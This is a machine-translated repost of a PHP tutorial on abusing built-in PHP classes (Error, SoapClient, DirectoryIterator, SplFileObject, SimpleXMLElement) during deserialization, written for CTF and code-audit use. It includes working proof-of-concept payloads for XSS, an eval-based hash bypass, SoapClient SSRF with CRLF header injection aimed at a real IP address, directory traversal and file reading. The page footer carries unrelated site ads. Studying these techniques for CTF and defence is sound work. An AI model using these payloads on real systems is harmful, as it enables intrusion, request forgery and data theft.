目次
__toString メソッドは、入力したパラメータを含むエラーまたは例外の文字列形式を返します。xss コードの文字列を構築し、それをエコー レンダリングと組み合わせると、xss の脆弱性が反映されます。トリガーされる
Look最初に質問してください #[2020 Geek Challenge]Greatphp
DirectoryIterator/FilesystemIterator
目录遍历
SplFileObject
文件读取
SimpleXMLElement
XXE
ReflectionMethod
获取注释内容
ホームページ バックエンド開発 PHPチュートリアル PHP のネイティブ クラスの逆シリアル化についての深い理解

PHP のネイティブ クラスの逆シリアル化についての深い理解

May 17, 2022 am 11:56 AM
php

この記事では、PHP に関する関連知識を提供します。主に逆シリアル化されたネイティブ クラスの使用方法を紹介します。コード監査または ctf ポイントに逆シリアル化関数があるものの、完全なポップ チェーンを構築できない場合は、では、この状況をどのように打開すべきでしょうか? それでは、皆さんのお役に立てれば幸いです。

PHP のネイティブ クラスの逆シリアル化についての深い理解

#推奨される調査: 「

PHP ビデオ チュートリアル

PHP 逆シリアル化ネイティブ クラスの使用の簡単な分析

code Audit や ctf にデシリアライズ機能があるものの、完全なポップチェーンを構築できない場合、どうやって状況を打開すればよいでしょうか? PHP ネイティブ クラスから始めてみましょう。一部の PHP ネイティブ クラスには、いくつかの組み込みマジック メソッドがあります。制御可能なパラメータを巧みに構築し、組み込みのマジック メソッドをトリガーして使用すれば、必要な目標のいくつかを達成することができます。 。

1. 一般的なマジック メソッド
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把对象当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
ログイン後にコピー

2. ネイティブ クラスのマジック メソッド

次のスクリプトを使用してトラバースします。すべてのネイティブ クラスの it Magic メソッド

<?php $classes = get_declared_classes();foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            &#39;__destruct&#39;,
            &#39;__toString&#39;,
            &#39;__wakeup&#39;,
            &#39;__call&#39;,
            &#39;__callStatic&#39;,
            &#39;__get&#39;,
            &#39;__set&#39;,
            &#39;__isset&#39;,
            &#39;__unset&#39;,
            &#39;__invoke&#39;,
            &#39;__set_state&#39;
        ))) {
            print $class . &#39;::&#39; . $method . "\n";
        }
    }}
ログイン後にコピー

3. いくつかの一般的なネイティブ クラスの使用

エラー/例外

エラーすべての PHP 内部エラー クラスの基本クラスです。 (PHP 7, 8)

**Error::__toString ** エラーの文字列式

エラーの文字列式を返します。

Exception は、すべてのユーザーレベルの例外の基本クラスです。 (PHP 5, 7, 8)

**Exception::__toString ** 例外オブジェクトを文字列に変換する

例外を文字列 (string) 型に変換して返します。

#クラス属性

    message エラーメッセージの内容
  • code エラーコード
  • file エラーをスローするファイル名
  • #line エラーをスローする行数
  • # #XSS
__toString メソッドは、入力したパラメータを含むエラーまたは例外の文字列形式を返します。xss コードの文字列を構築し、それをエコー レンダリングと組み合わせると、xss の脆弱性が反映されます。トリガーされる
例:

<?php $a = unserialize($_GET[&#39;a&#39;]);echo $a;
ログイン後にコピー
POC:

<?php $a = new Error("<script>alert('xss')");$b = serialize($a);echo urlencode($b);
ログイン後にコピー

#ハッシュ バイパスPHP のネイティブ クラスの逆シリアル化についての深い理解

Look最初に質問してください #[2020 Geek Challenge]Greatphp

<?phperror_reporting (0);class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }}if (isset($_GET['great'])){
    unserialize($_GET['great']);} else {
    highlight_file(__FILE__);}
ログイン後にコピー
2 つのハッシュの強力な比較をバイパスする必要があり、最終的に eval コードの実行を構築する必要があります

明らかに通常のメソッドは機能しませんが、ネイティブ クラスを介してバイパスできます

同様に、md5() 関数と sha1() 関数がオブジェクトを処理するときに、__tostring メソッドが自動的に呼び出されます

最初に簡単に見てみましょう。出力

<?php $a=new Error("payload",1);$b=new Error("payload",2);$c=new Exception("payload",3);
$d=new Exception("payload",4);
echo $a."<br>";
echo $b."<br>";
echo $c."<br>";
echo $d;
ログイン後にコピー

これら 2 つのネイティブ クラスによって返される情報は、次の点を除いてまったく同じであることがわかります。行番号 これを使用して、ハッシュ関数をバイパスすることができます 注意すべき点 はい、2 つの受信オブジェクトは同じ行に配置する必要があります

#したがって、簡単なテストを実行して次のことを見つけることができますこのメソッドを使用すると、ハッシュの強い (弱い) 関数の比較を回避できることがわかります。

<?php $a = new Error("payload",1);$b = new Error("payload",2);if ($a!=$b){
    echo &#39;$a不等于$b&#39;."\n";}if (md5($a)===md5($b)){
    echo "md5值相等\n";}if (sha1($a)===sha1($b)){
    echo "sha1值相等";}
ログイン後にコピー
PHP のネイティブ クラスの逆シリアル化についての深い理解

これらの知識ポイントに基づいて、ペイロード

  <?phpclass  SYCLOVER {
	public $syc;
	public $lover;
	public function __wakeup(){
		if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
		   if(!preg_match("/\syc, $match)){
			   eval($this->syc);
		   } else {
			   die("Try Hard !!");
		   }
		   
		}
	}}$str = "?>=include~".urldecode("%D0%99%93%9E%98")."?>";//两次取反绕过正则$a=new Error($str,1);
	$b=new Error($str,2);
	$c = new SYCLOVER();$c->syc = $a;$c->lover = $b;
	echo(urlencode(serialize($c)));?>
ログイン後にコピー
SoapClient#を簡単に構築できます。

PHP のネイティブ クラスの逆シリアル化についての深い理解##SoapClient

は、Web サービスにアクセスするために特別に使用されるクラスです。SOAP プロトコルに基づいて Web サービスにアクセスする PHP クライアントを提供できます。SOAP データ メッセージを作成し、wsdl インターフェイスと対話できます。 .

soap 拡張モジュールはデフォルトで閉じられており、使用する場合は手動でオンにする必要があります

SoapClient::__call - SOAP 関数を呼び出す (PHP 5、7) , 8)

通常、SOAP 関数は SoapClient オブジェクトのメソッドとして呼び出すことができます

SSRF

コンストラクター:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,如果为`null`,那就是非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
ログイン後にコピー
soap とは
SOAP 是基于 XML 的简易协议,是用在分散或分布的环境中交换信息的简单的协议,可使应用程序在 HTTP 之上进行信息交换
SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
ログイン後にコピー
ペイロードを構築します。最初のパラメーターは NULL で、2 番目のパラメーターの場所は vps アドレス
<?php $a = new SoapClient(null, array(
&#39;location&#39; => 'http://47.102.146.95:2333', 
'uri' =>'uri',
'user_agent'=>'111111'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
ログイン後にコピー
vps の 2333 ポートをリッスンします。以下の図に示すように、SSRF が正常にトリガーされ、vps はリクエスト情報を受け取ります。

# 、SOAPAction と user_agent の両方が制御可能であることがわかります

ローカル テスト中に、この組み込みクラス (つまり SOAP プロトコル) を使用してサービスが存在するポートを要求すると、エラーがすぐに報告され、サービスが存在しない (空いている) ポートにアクセスするとエラーが報告されることが判明しました。時間エラー レポートを使用して、イントラネット資産を検出できます。

CRLF 脆弱性に協力する場合は、SoapClient を使用して他のパラメーターを制御したり、データを送信するためにポストしたりすることもできます。例: Redis を攻撃する HTTP プロトコル

CRLF 知識の拡張PHP のネイティブ クラスの逆シリアル化についての深い理解

HTTP报文的结构:状态行和首部中的每行以CRLF结束,首部与主体之间由一空行分隔。
CRLF注入漏洞,是因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。
攻击者一旦向请求行或首部中的字段注入恶意的CRLF(\r\n),就能注入一些首部字段或报文主体,并在响应中输出。
ログイン後にコピー
CRLF を組み合わせることで、SoapClient CRLF を使用して、カスタム Cookie の挿入など、より多くのことを行うことができます,

<?php $a = new SoapClient(null, array(
    &#39;location&#39; => 'http://47.102.146.95:2333',
    'uri' =>'uri',
    'user_agent'=>"111111\r\nCookie: PHPSESSION=dasdasd564d6as4d6a"));
    $b = serialize($a);echo $b;$c = unserialize($b);$c->a();
ログイン後にコピー

发送POST的数据包,这里需要将Content-Type设置为application/x-www-form-urlencoded,我们可以通过添加两个\r\n来将原来的Content-Type挤下去,自定义一个新的Content-Type

<?php $a = new SoapClient(null, array(
    &#39;location&#39; => 'http://47.102.146.95:2333',
    'uri' =>'uri',
    'user_agent'=>"111111\r\nContent-Type: application/x-www-form-urlencoded\r\nX-Forwarded-For: 127.0.0.1\r\nCookie: PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length: 10\r\n\r\npostdata"));
    $b = serialize($a);echo $b;$c = unserialize($b);$c->a();
ログイン後にコピー

PHP のネイティブ クラスの逆シリアル化についての深い理解

看一道ctfshow上的题,完美利用上述知识点

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff); //获取xff头


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}
ログイン後にコピー

poc:

<?php $target = &#39;http://127.0.0.1/flag.php&#39;;
$post_string = &#39;token=ctfshow&#39;;
$b = new SoapClient(null,array(&#39;location&#39; => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>
ログイン後にコピー

DirectoryIterator/FilesystemIterator

DirectoryIterator类提供了一个简单的接口来查看文件系统目录的内容。

DirectoryIterator::__toString 获取字符串形式的文件名 (PHP 5,7,8)

目录遍历

使用此内置类的__toString方法结合glob或file协议,即可实现目录遍历

例如:

<?php $a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}
ログイン後にコピー

FilesystemIterator继承于DirectoryIterator,两者作用和用法基本相同,区别为FilesystemIterator会显示文件的完整路径,而DirectoryIterator只显示文件名

PHP のネイティブ クラスの逆シリアル化についての深い理解

因为可以配合使用glob伪协议(查找匹配的文件路径模式),所以可以绕过open_basedir的限制

在php4.3以后使用了zend_class_unserialize_deny来禁止一些类的反序列化,很不幸的是这两个原生类都在禁止名单当中

SplFileObject

SplFileObject 类为单个文件的信息提供了一个面向对象的高级接口

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?phphighlight_file (__file__);$a = new SplFileObject("./flag.txt");echo $a;/*foreach($context as $f){
    echo($a);
}*/
ログイン後にコピー

如果没有遍历的话只能读取第一行,且受到open_basedir影响

SimpleXMLElement

解析XML 文档中的元素。 (PHP 5、PHP 7、PHP 8)

SimpleXMLElement::__construct — 创建一个新的 SimpleXMLElement 对象

XXE

我们查看一下其参数:

PHP のネイティブ クラスの逆シリアル化についての深い理解

根据官方文档,发现当第三个参数为True时,即可实现远程xml文件载入,第二个参数的常量值设置为2即可。

利用可参考赛题:[SUCTF 2018]Homework

ReflectionMethod

获取注释内容

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — 获取注释内容
由该原生类中的getDocComment方法可以访问到注释的内容

PHP のネイティブ クラスの逆シリアル化についての深い理解

同时可利用的原生类还有ZipArchive– 删除文件等等,不在叙述

推荐学习:《PHP视频教程

以上がPHP のネイティブ クラスの逆シリアル化についての深い理解の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)

Ubuntu および Debian 用の PHP 8.4 インストールおよびアップグレード ガイド Ubuntu および Debian 用の PHP 8.4 インストールおよびアップグレード ガイド Dec 24, 2024 pm 04:42 PM

PHP 8.4 では、いくつかの新機能、セキュリティの改善、パフォーマンスの改善が行われ、かなりの量の機能の非推奨と削除が行われています。 このガイドでは、Ubuntu、Debian、またはその派生版に PHP 8.4 をインストールする方法、または PHP 8.4 にアップグレードする方法について説明します。

PHP 開発用に Visual Studio Code (VS Code) をセットアップする方法 PHP 開発用に Visual Studio Code (VS Code) をセットアップする方法 Dec 20, 2024 am 11:31 AM

Visual Studio Code (VS Code とも呼ばれる) は、すべての主要なオペレーティング システムで利用できる無料のソース コード エディター (統合開発環境 (IDE)) です。 多くのプログラミング言語の拡張機能の大規模なコレクションを備えた VS Code は、

今まで知らなかったことを後悔している 7 つの PHP 関数 今まで知らなかったことを後悔している 7 つの PHP 関数 Nov 13, 2024 am 09:42 AM

あなたが経験豊富な PHP 開発者であれば、すでにそこにいて、すでにそれを行っていると感じているかもしれません。あなたは、運用を達成するために、かなりの数のアプリケーションを開発し、数百万行のコードをデバッグし、大量のスクリプトを微調整してきました。

PHPでHTML/XMLを解析および処理するにはどうすればよいですか? PHPでHTML/XMLを解析および処理するにはどうすればよいですか? Feb 07, 2025 am 11:57 AM

このチュートリアルでは、PHPを使用してXMLドキュメントを効率的に処理する方法を示しています。 XML(拡張可能なマークアップ言語)は、人間の読みやすさとマシン解析の両方に合わせて設計された多用途のテキストベースのマークアップ言語です。一般的にデータストレージに使用されます

JSON Web Tokens(JWT)とPHP APIでのユースケースを説明してください。 JSON Web Tokens(JWT)とPHP APIでのユースケースを説明してください。 Apr 05, 2025 am 12:04 AM

JWTは、JSONに基づくオープン標準であり、主にアイデンティティ認証と情報交換のために、当事者間で情報を安全に送信するために使用されます。 1。JWTは、ヘッダー、ペイロード、署名の3つの部分で構成されています。 2。JWTの実用的な原則には、JWTの生成、JWTの検証、ペイロードの解析という3つのステップが含まれます。 3. PHPでの認証にJWTを使用する場合、JWTを生成および検証でき、ユーザーの役割と許可情報を高度な使用に含めることができます。 4.一般的なエラーには、署名検証障害、トークンの有効期限、およびペイロードが大きくなります。デバッグスキルには、デバッグツールの使用とロギングが含まれます。 5.パフォーマンスの最適化とベストプラクティスには、適切な署名アルゴリズムの使用、有効期間を合理的に設定することが含まれます。

母音を文字列にカウントするPHPプログラム 母音を文字列にカウントするPHPプログラム Feb 07, 2025 pm 12:12 PM

文字列は、文字、数字、シンボルを含む一連の文字です。このチュートリアルでは、さまざまな方法を使用してPHPの特定の文字列内の母音の数を計算する方法を学びます。英語の母音は、a、e、i、o、u、そしてそれらは大文字または小文字である可能性があります。 母音とは何ですか? 母音は、特定の発音を表すアルファベットのある文字です。大文字と小文字など、英語には5つの母音があります。 a、e、i、o、u 例1 入力:string = "tutorialspoint" 出力:6 説明する 文字列「TutorialSpoint」の母音は、u、o、i、a、o、iです。合計で6元があります

PHPでの後期静的結合を説明します(静的::)。 PHPでの後期静的結合を説明します(静的::)。 Apr 03, 2025 am 12:04 AM

静的結合(静的::) PHPで後期静的結合(LSB)を実装し、クラスを定義するのではなく、静的コンテキストで呼び出しクラスを参照できるようにします。 1)解析プロセスは実行時に実行されます。2)継承関係のコールクラスを検索します。3)パフォーマンスオーバーヘッドをもたらす可能性があります。

PHPマジックメソッド(__construct、__destruct、__call、__get、__setなど)とは何ですか? PHPマジックメソッド(__construct、__destruct、__call、__get、__setなど)とは何ですか? Apr 03, 2025 am 12:03 AM

PHPの魔法の方法は何ですか? PHPの魔法の方法には次のものが含まれます。1。\ _ \ _コンストラクト、オブジェクトの初期化に使用されます。 2。\ _ \ _リソースのクリーンアップに使用される破壊。 3。\ _ \ _呼び出し、存在しないメソッド呼び出しを処理します。 4。\ _ \ _ get、dynamic属性アクセスを実装します。 5。\ _ \ _セット、動的属性設定を実装します。これらの方法は、特定の状況で自動的に呼び出され、コードの柔軟性と効率を向上させます。

See all articles